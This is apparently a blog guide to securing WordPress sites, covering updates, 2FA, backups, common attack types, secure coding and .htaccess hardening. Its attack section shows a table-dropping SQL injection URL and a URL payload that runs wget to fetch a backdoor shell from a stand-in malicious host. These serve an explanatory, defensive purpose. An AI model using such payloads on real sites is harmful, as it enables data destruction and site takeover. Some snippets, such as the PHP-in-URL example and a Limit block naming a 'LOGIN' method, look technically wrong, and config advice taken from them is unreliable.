How to Secure Your WordPress Website: A Comprehensive, Step-by-Step Guide

DataProt is supported by its audience. When you buy through links on our site, we may earn a commission. This, however, does not influence the evaluations in our reviews. Learn More.

WordPress is very popular! 

To be precise, 40% of websites on the internet use it.

That is not so surprising, given its intuitive dashboard, easy set up, flexibility, open source nature, and a massive ecosystem of themes and plugins.

However, this immense popularity also makes WordPress a prime target for hackers. 

This guide aims to give you a complete roadmap for securing your WordPress site.

You’ll learn about

  1. Which “quick wins” can dramatically reduce your risk (like keeping everything updated and using strong passwords), 
  2. Explore more advanced strategies, such as implementing secure coding practices and 
  3. Configuring your server to block malicious traffic at the source.
Who This Guide Is For:

The starting sections are for beginner to intermediate WordPress users who typically use cheap shared hosting and need a clear, practical way to secure their site.

Later sections are for advanced users who use WP extensively with many plugins, page builders, write custom code or manage servers. If you are an advanced user, you can skip directly to the advanced sections on coding and hosting configuration.

Let’s begin with the foundational practices every WordPress site owner should follow.

1. Beginner Essentials: Your First Layer of Defense

For new WordPress users, it’s easy to feel overwhelmed by security tips and horror stories. But there are a few simple but high-impact steps you can take right away to reduce your vulnerability.

Keep WordPress, Themes, and Plugins Updated

It is as easy as that. 

WordPress admin dashboard constantly reminds you about such updates. You can follow them and update plugins, themes and WP versions regularly.

What are these updates usually about?

  • When developers discover security flaws, they release patches via updates. If you don’t apply these updates, your site remains exposed to known vulnerabilities.
  • Hackers often scan for sites running outdated versions of WordPress, popular plugins, or themes as these are “low-hanging fruit.”

Use Strong Passwords and Manage User Accounts Wisely

If you are a power user, you often see sudden spikes in traffic to your websites on GA4 or GSC. These spikes are mostly bots trying different combinations of most common passwords with username admin or author names provided on the websites.

In the security world, they call them brute force attacks.

Brute-force attacks involve automated scripts trying thousands of username/password combinations. Weak passwords make this job easy.

Having multiple admin users increases the chance that one account is compromised.

Easy Ways To Counter Brute Force Attacks On WordPress Sites

  1. Strong Passwords: Use a combination of upper/lowercase letters, numbers, and symbols. Passphrases (e.g., “SunshineBattery#915”) are more secure and easier to remember than random strings.
  2. Limit Administrator Roles: Give admin access only to those who truly need it. Contributors and authors can have lower-level roles.
  3. Remove Unused Accounts: If a staff member leaves or a project ends, immediately delete or downgrade their account.
  4. Don’t use admin as a username.

These are all simple measures you can take. If you want to secure it further, 2FA is the best possible solution.

  1. Two-Factor Authentication (2FA)

What is 2FA?

2FA adds an extra step to your login process. After entering your username and password, you must also provide a second factor, often a temporary code generated by an app like Google Authenticator or sent via SMS.

How to Enable 2FA on WP?

Plugin Option: Many security plugins (e.g., Wordfence, iThemes Security) have built-in 2FA. Install one of those plugins and set up 2FA like you do it for your Gmail Account.

Regular Backups

  • If your site is compromised, having a recent backup lets you quickly restore to a clean version.
  • Backups also protect you from accidental data loss (e.g., a plugin misconfiguration).

How to Implement

  1. Plugin-Based: UpdraftPlus, BackWPup, and VaultPress (Jetpack Backup) are popular.
  2. Hosting Panel: Some hosts, especially managed WordPress hosts, offer daily backups.
  3. Offsite Storage: Store backups on Dropbox, Google Drive, or another external service. Don’t rely solely on backups stored on the same server as your site.

Here are some quick tips for Beginner WP users

Change Your Admin Username: Never use “admin” as your username.

Enforce HTTPS: Install an SSL certificate (Let’s Encrypt offers free options), ensuring all data to and from your site is encrypted.

Limit Login Attempts: Either via a plugin or a simple code snippet to block repeated failed logins.

Enable Automatic Updates for Core: Recent WordPress releases allow automatic updates for minor and major versions. You can enable this in your wp-config.php file or within the dashboard if your hosting supports it.

Schedule Weekly Maintenance: Set a reminder to check for plugin and theme updates weekly.

Review Changelog: Before updating, glance at the changelog to ensure the update won’t break your site or conflict with other plugins.

These basic hardening techniques won’t make your site invincible, but they drastically lower the chances of a successful attack. Next, let’s dive deeper into how hackers operate so you understand the threats you’re defending against.

Now, let’s go a step further to see how hackers try to get hold of your WP site.

2. Dive Deeper Into Attack Vectors: Common WP Hacker Tactics 

Understanding the methods hackers use makes it easier to prioritize the right defenses. 

Here are the most common types of attacks on WordPress sites:

SQL Injections

How SQL Injection Works

An SQL Injection attack happens when a malicious actor sends specially crafted input, often via URL parameters, search forms, or contact forms, that the site’s code passes directly into a database query without proper sanitization. The hacker can then read sensitive data, modify database entries, or even create a new admin account if the vulnerability is severe.

Example of a Malicious URL

A legitimate URL might look like:

https://example.com/?id=10

But an attacker modifies the parameter to include SQL commands:

https://example.com/?id=10; DROP TABLE wp_users; –

If the site’s code isn’t sanitizing and preparing this input, the database might interpret DROP TABLE wp_users as a command to delete the entire users table. Similarly, an attacker could insert malicious data or create a backdoor user account.

How hackers use SQL Injection To Attack WP sites?

They exploit poorly coded plugins with input fields.

Typically Nulled or Poorly Coded Contact Plugins

There are a ton of contact form or general form plugins that deals with input fields but don’t sanitize or escape text typed into the input fields from the front end(especially pirated “nulled” versions). 

Since the plugins are insecure, the data from the form might go directly into a database query. Hackers don’t need cPanel or WordPress admin credentials to exploit this, just a web browser and knowledge of the plugin’s weak points.

Here is how this pans out in a real-world scenario:

Lets say, you are using such an insecure contact form plugin.

Hackers who scrapes WP user base is aware of such plugins, and their user base

  1. They can visit the contact form URL and injects an SQL statement into the “Name” or “Message” field.
  2. Because the plugin doesn’t sanitize or prepare the input, the site’s database executes the malicious code.
  3. The hacker may add an admin user or drop tables, leading to a site takeover or total data loss.

Best Practices to Prevent SQL Injection

  1. One primary step is avoid input fields if you don’t need them
  2. If you have to use them, use professional, paid plugins
  3. If you want to make sure your plugin is safe, look for code snippets like: sanitize_text_field() or esc_sql(). These lines usually Validate and Sanitize Inputs.
  4. Check PHP Version: Use at least PHP 7.4. Older versions may lack modern security features.
  5. If you developing custom code, use
$wpdb->prepare() in any custom code:
$result = $wpdb->get_results( $wpdb->prepare("SELECT * FROM wp_posts WHERE ID = %d", $post_id) ); 

Malware Injections & Backdoors

How Malware Injections Work

Malware injections happen when attackers exploit security flaws in WordPress themes, plugins, or server configurations to insert malicious code. This code can be injected into PHP files, JavaScript files, or even the database. Once embedded, the malware can execute harmful actions, such as stealing user data, injecting spam links, or creating hidden admin accounts for future access.

Example of a Malware Injection

A legitimate WordPress function might look like this:

if (isset($_GET['user'])) {  
    $user = sanitize_text_field($_GET['user']);  
    echo "Welcome, " . $user;  
}

However, a vulnerable site without proper validation might allow an attacker to inject harmful code through the URL:

https://example.com/?user=<?php system('wget http://malicious-site.com/shell.php'); ?>

If the server executes the injected command, it downloads and installs a backdoor that allows attackers to gain remote control of the website.

Real Examples of Backdoor Attacks

  • Infected Themes/Plugins: A famously exploited plugin was “Slider Revolution” in its early days, which once had a critical vulnerability that allowed attackers to upload arbitrary files. Attackers slipped backdoor scripts like shell.php into the theme folder.
  • TimThumb Library: Another well-known vulnerability. Hackers used insecure file upload mechanisms in TimThumb to place backdoor scripts in the /uploads/ directory.
  • Although the WordPress core is generally well-audited, a 2017 REST API vulnerability allowed attackers to modify posts on certain unpatched sites. Some site owners discovered defaced pages or spammy links inserted into their content.

How Hackers Use Malware Injections & Backdoors to Attack WordPress Sites

  1. Exploiting Outdated or Pirated Themes & Plugins
    • Many malware infections come from nulled (pirated) themes and plugins that contain pre-installed backdoors.
    • Attackers also target outdated plugins with known vulnerabilities to inject malicious scripts.
  2. Abusing File Upload Forms
    • Poorly coded file upload plugins allow hackers to upload PHP scripts disguised as images or documents.
    • Once uploaded, the script can execute commands, create admin users, or modify core WordPress files.
  3. Inserting Malicious Code via Database Injection
    • Attackers may inject malicious JavaScript or PHP code directly into the database using SQL Injection vulnerabilities.
    • When a site loads an infected post or page, the malware executes, affecting visitors or modifying site behavior.

Best Practices to Prevent Malware Injections & Backdoors

  • Use Reputable Plugins & Themes
    • Avoid pirated or unknown sources; always download from WordPress.org or official vendor websites.
    • Check for recent updates and active support before installing any plugin or theme.
  • Limit File Upload Permissions

Disable PHP execution in the wp-content/uploads folder using .htaccess:

<FilesMatch "\.(php|php\.)$">
deny from all
</FilesMatch>
  • Scan for Malware Regularly
    • Use plugins like Wordfence or MalCare to detect malicious files and unauthorized changes.
  • Monitor and Secure Database Entries
    • Regularly check for unusual database entries, especially in wp_posts, wp_options, and wp_users tables.
    • Use esc_sql() and $wpdb->prepare() in custom code to sanitize database queries.
  • Set File & Directory Permissions Correctly
    • Folders: 755
    • Files: 644
    • wp-config.php: 600 (prevents unauthorized access)
  • Disable PHP Execution in Key Directories
    • Restrict PHP execution in /wp-includes/ and /wp-content/uploads/ to prevent backdoors.

By following these steps, you can reduce the risk of malware injections and keep your WordPress site secure.

Phishing and Social Engineering

The Basics of Phishing

Phishing is an attempt to trick you or your users into revealing login credentials or sensitive data by masquerading as a trusted entity, like your hosting provider, WordPress itself, or a plugin developer.

Real-World Phishing Examples

Fake Hosting Emails:

  • You receive an email claiming to be from GreenGeeks (or any major host) stating:
    “Your password is outdated. Please update it immediately using this link.”
  • The link goes to a bogus site that looks identical to your host’s login page. Entering your credentials hands them over to the attacker.

Plugin Update Notices:

  • An email or popup saying: “Important security update for [Popular Plugin]. Log in here to update.”
  • The link leads to a fake WordPress login page. Once you enter your username and password, the hacker records them.

Social Engineering Tactics

  • Impersonation: Attackers pretend to be “support staff” and send DMs or emails.
  • Urgency: They often use phrases like “Your account will be suspended” or “Your site will be deleted in 24 hours” to create panic, prompting you to act without verifying authenticity.

How to Spot and Avoid Phishing

  1. Check the URL: Verify domain spelling, phishers often use lookalike domains (e.g., greengeeeks-support.com instead of greengeeks.com).
  2. Don’t Click Email Links: When in doubt, manually type your host’s URL in a new browser tab and log in from the official site.
  3. Use 2FA: Even if you mistakenly enter your username and password on a rogue page, the attacker can’t log in without your second factor (e.g., phone app code).
  4. Educate Admins: If you have multiple site contributors, ensure everyone knows to be skeptical of unsolicited requests for credentials.

Low-Cost Hosting and Phishing

  • Less Sophisticated Email Filtering: Budget hosts often don’t have advanced spam or phishing filters. Malicious emails are more likely to land in your inbox.
  • Solution: Use a reputable email service like Gmail, ProtonMail, or Zoho for domain email forwarding/filtering to spot phishing attempts early.
Phishing and social engineering don’t rely on software vulnerabilities; they exploit human error. Whether you’re on a high-end or budget host, training yourself and your team to double-check suspicious emails is crucial.

Each of these vectors is highly relevant to WordPress users on low-cost hosting because budget plans often lack built-in safeguards like robust firewalls or advanced scanning. The next sections of the guide (e.g., using security plugins vs. manual methods, advanced .htaccess configurations, etc.) will explore how to layer multiple defenses to effectively reduce the risk from these attacks, even in a shared or budget hosting environment.

How Security Plugins Help Deal With These WP Security Issues?

Security plugins offer all-in-one solutions that cover multiple aspects of WordPress security. They’re especially convenient for beginners who want a central dashboard to manage threats. Here’s how they typically protect your site:

  1. Firewalls
    • Real-Time Scanning of Requests: Security plugins like Wordfence or iThemes Security examine incoming traffic, comparing IPs against known malicious lists and blocking suspicious behavior.
    • Plugin-Level vs. Server-Level: This firewall runs at the WordPress (application) level, meaning the request still touches your server resources before being blocked. It’s not as robust as a server-level firewall, but it’s better than having no firewall at all.
    • Low-Cost Hosting Note: Because all traffic still goes through PHP, you may experience CPU spikes on a budget host. If the plugin is doing heavy real-time scans, it can slow down your site.
  2. Malware Scanning
    • Automated Checks: Plugins scan your WordPress files for malicious code, comparing them to the original WordPress.org repository or plugin signatures.
    • File Repair: Some plugins attempt to repair modified core files automatically. This is especially helpful if you’re not comfortable with FTP or command-line.
    • Low-Cost Hosting Note: Malware scans can be resource-intensive, especially if you schedule them during peak traffic. A limited CPU or RAM on shared hosting may lead to slowdowns or even temporary account suspension if you exceed resource usage.
  3. Brute-Force Protection
    • Login Limit: After multiple failed login attempts, the plugin can temporarily ban the offending IP.
    • Two-Factor Integration: Some security plugins also offer built-in 2FA (two-factor authentication) to further reduce brute-force success.
    • Low-Cost Hosting Note: Brute-force blocks help save server resources by stopping repeated login attempts. This often offsets some of the CPU costs of running the plugin, as it prevents bots from continually hitting your login page.
  4. Convenient Dashboards
    • Centralized Settings: You can manage file scanning, firewall, and login security in one place.
    • Logs and Alerts: Email notifications or admin panel alerts keep you updated on security incidents.
    • Low-Cost Hosting Note: This centralization is extremely useful if you don’t have server-level (cPanel or custom) logging tools. Many budget hosts provide only minimal access to server logs, so a plugin dashboard is your main hub for security insights.

Low-Cost Hosting Tip: Resource usage is the main concern. If your host has strict limits, configure scans to run at off-peak hours (e.g., early mornings) or choose a lighter-weight firewall plugin. Alternatively, some plugins (like Wordfence Premium) let you offload scanning to their own servers, reducing the load on your hosting account.

Limitations of WP Security Plugins

No matter how good a security plugin is, it has inherent limitations, particularly in shared or low-cost hosting environments:

  1. Not a Silver Bullet
    • Poorly Coded Themes/Plugins: Even the best security plugin can’t fix an insecure theme or plugin that leaks data or allows file uploads without checks.
    • Hosting-Level Vulnerabilities: If your host’s server is compromised or poorly configured, your plugin might block application-level threats, but server-level exploits remain a risk.
  2. Performance Impact
    • High Resource Use: Real-time firewalls and malware scanning require CPU cycles, RAM, and sometimes extra database calls.
    • Account Suspension: On very cheap plans, repeated high CPU usage can trigger warnings or suspensions.
    • Scan Scheduling: If you don’t schedule scans properly, they may coincide with your site’s busiest hours, irritating visitors with slow page loads.
  3. Reliance on Default Settings
    • Install-and-Forget Mentality: Many site owners install a plugin like Wordfence, leave the default settings, and never configure them.
    • Untapped Features: Features such as limit login attempts, 2FA, or file change alerts remain disabled by default, missing out on crucial layers of security.

Advanced WordPress Security Topics: Custom Code Security, Hosting Configurations, and .htaccess Rules

Once you’ve covered the basics—such as updates, strong passwords, backups, and security plugins—it’s time to explore advanced security measures. If you’re writing custom code, managing your own server, or simply want more control over your website’s security, these strategies will help you lock down vulnerabilities that hackers commonly exploit.

Secure Coding Practices

If you (or your developers) are writing custom plugins, theme functions, or integrating external APIs, following WordPress coding standards is critical to avoid introducing security weaknesses. Below are key secure coding techniques:

Sanitize and Validate All Inputs

Sanitization ensures that any data received from users is stripped of harmful characters, preventing malicious input from being processed by your database or displayed in your HTML output.

For example, if a user submits a form with a username field, you can sanitize it like this:

$username = sanitize_text_field( $_POST['username'] );

This removes any unwanted HTML tags, special characters, or malicious scripts before storing the value or displaying it.Validation, on the other hand, ensures that the input conforms to the expected format or data type. For example, if you’re handling email submissions, you should validate them like this:

if ( is_email( $_POST['user_email'] ) ) {

    // Safe to use

} else {

    // Handle invalid email

}

This prevents invalid email addresses from being processed, reducing the risk of malformed or injected input being stored in your database.

Escape Outputs to Prevent XSS

Cross-Site Scripting (XSS) attacks happen when an attacker injects malicious JavaScript or HTML into your website’s output. This often occurs when user-generated content is displayed without proper escaping.

To prevent this, always escape output before displaying it on a webpage:

echo esc_html( $user_input );

This ensures that any special characters in the input are converted to their HTML-safe equivalents, preventing harmful scripts from executing.

Use Nonces for Form Submissions

Nonces (Number Used Once) are unique security tokens that prevent Cross-Site Request Forgery (CSRF) attacks. CSRF attacks trick logged-in users into performing unintended actions, such as changing their password or deleting content.

To protect forms from CSRF attacks, use nonces when creating and processing them:

Add a nonce field in the form:

wp_nonce_field( 'my_form_action', 'my_form_nonce' );

Verify the nonce before processing the form submission:

check_admin_referer( 'my_form_action', 'my_form_nonce' );

This ensures that the form submission originated from your site and not from an external malicious request.

Avoid eval() and Direct SQL Queries

Using eval() in PHP is a major security risk, as it executes arbitrary code, making it an easy target for hackers. Avoid using it in any WordPress development.Similarly, direct SQL queries without sanitization can lead to SQL injection vulnerabilities. Instead of writing raw SQL queries, always use $wpdb->prepare(), which ensures proper escaping and formatting of user input before executing the query:

$results = $wpdb->get_results( 
    $wpdb->prepare( 
        "SELECT * FROM $wpdb->users WHERE user_email = %s", 
        $email 
    ) 
);

This prevents attackers from injecting malicious SQL commands into database queries.

Hosting Configurations

Securing your WordPress site starts at the hosting level. Choosing the right hosting setup and implementing server-side security measures can prevent many common attacks before they reach your site.

Shared vs. Managed WordPress Hosting

  • Shared Hosting
    • More affordable but shared with multiple users, increasing security risks.
    • If another site on the same server is compromised, yours could be affected too.
    • Limited control over server configurations.
  • Managed WordPress Hosting
    • More expensive but offers automatic updates, staging environments, and built-in security protections.
    • Often includes DDoS protection, malware scanning, and server-level firewalls.
    • Best option if you want hands-off security management.

Server-Level Firewalls and Malware Scanning

A server firewall acts as the first line of defense against malicious traffic by blocking suspicious requests before they reach your site.

Many managed hosting providers include built-in malware scanning, which helps detect and remove infected files before they can cause damage. If you’re on shared hosting, you can use Wordfence, MalCare, or Sucuri to scan your WordPress installation regularly.

File Permissions

Incorrect file permissions can expose your website to unauthorized modifications. Recommended settings:

  • Folders: 755
  • Files: 644
  • wp-config.php: 600 (Prevents unauthorized access)

Never set any file or folder to 777 (full permissions) as it allows anyone to modify them.

Move wp-config.php Outside the Web Root

Many hosting setups allow you to move wp-config.php one level above the public HTML directory, making it inaccessible via a browser. This prevents attackers from reading database credentials if the server is misconfigured.

Hardening .htaccess

If your server uses Apache, .htaccess is a powerful configuration file that can block unauthorized access and prevent exploits

Protect wp-config.php

To prevent direct access to your WordPress configuration file, add this to .htaccess:

<Files wp-config.php>
    order allow,deny
    deny from all
</Files>

This ensures that attackers cannot access sensitive database credentials via a browser.

Disable XML-RPC

XML-RPC is a WordPress feature that allows remote publishing but is often abused for DDoS attacks and brute-force login attempts. If you don’t use it, disable it:

<Files xmlrpc.php>
    Order Deny,Allow
    Deny from all
</Files>

Disabling XML-RPC can prevent automated login attempts and other malicious activities.

Block Access to .htaccess Itself

To prevent attackers from modifying your security rules, restrict access to the .htaccess file:

<Files ~ "^\.ht">
    Order allow,deny
    Deny from all
</Files>

Limit Login Attempts by IP

If you have a static IP address, you can restrict login access to only your IP:

<Limit LOGIN PUT DELETE>
order deny,allow
deny from all
allow from 123.123.123.123
</Limit>

Replace 123.123.123.123 with your actual IP address. Be careful—if your IP changes, you might get locked out.

WP Maintenance: Ongoing Checks, Backups, and Vigilance

Security isn’t a “set it and forget it” scenario. Even the best defenses can become outdated as new threats emerge. Regular maintenance and vigilance are crucial to keep your site safe.

Weekly or Monthly Maintenance Routine

1. Update Everything

  • Log in at least once a week (or month) to update WordPress core, plugins, and themes.
  • Check the plugin repository or developer’s site for known vulnerabilities.

2. Run Security Scans

  • If you’re using a security plugin, schedule scans to run automatically.
  • Alternatively, do a manual check using a free external scanner like Sucuri SiteCheck.

3. File Integrity Monitoring

  • Track changes in your wp-content directory. If unexpected modifications occur, investigate immediately.
  • Wordfence offers file comparison features to detect differences between your local files and the official WordPress repository.

Backup Verification

1. Automated Backups

  • Ensure your backup plugin or hosting provider is successfully creating backups.
  • Verify restore points, test restoring a backup on a staging environment if possible.

2. Offsite Storage

  • Keep multiple copies: one with your hosting provider, another with a cloud service like Dropbox or Google Drive, and perhaps a local copy on your computer or external drive.

User Role Audits

  • Regularly Review Admin Accounts: Remove or downgrade any that are no longer necessary.
  • Editor & Author Roles: Ensure these roles only have permissions they genuinely need.
  • Strong Password Enforcement: If you manage multiple user accounts, consider a plugin that enforces strong passwords.

Logging and Monitoring

  • Activity Logs: Keep track of login attempts, password resets, plugin updates, and post creations. Plugins like WP Activity Log can help.
  • Server Logs: If you have server-level access, monitor Apache or Nginx logs for suspicious requests or repeated failed logins.

Incident Response Plan

  • Identify: Know the signs of a breach, defaced pages, unusual admin logins, sudden traffic spikes from suspicious IPs.
  • Isolate: Put your site in maintenance mode or block external access if you suspect a compromise.
  • Restore: Revert to a clean backup and change all passwords.
  • Investigate: Pinpoint how the attack happened (insecure plugin, outdated software, etc.) and fix the root cause.

Extra Steps for High-Security Sites

  • Two-Factor Authentication for All Admins: Make 2FA mandatory for your entire team.
  • Plugin Vetting: Only install plugins from trusted developers. Pay attention to the “Last Updated” date and reviews.

Regular Penetration Testing: Larger businesses may hire security experts to test their site’s defenses.

Scroll to Top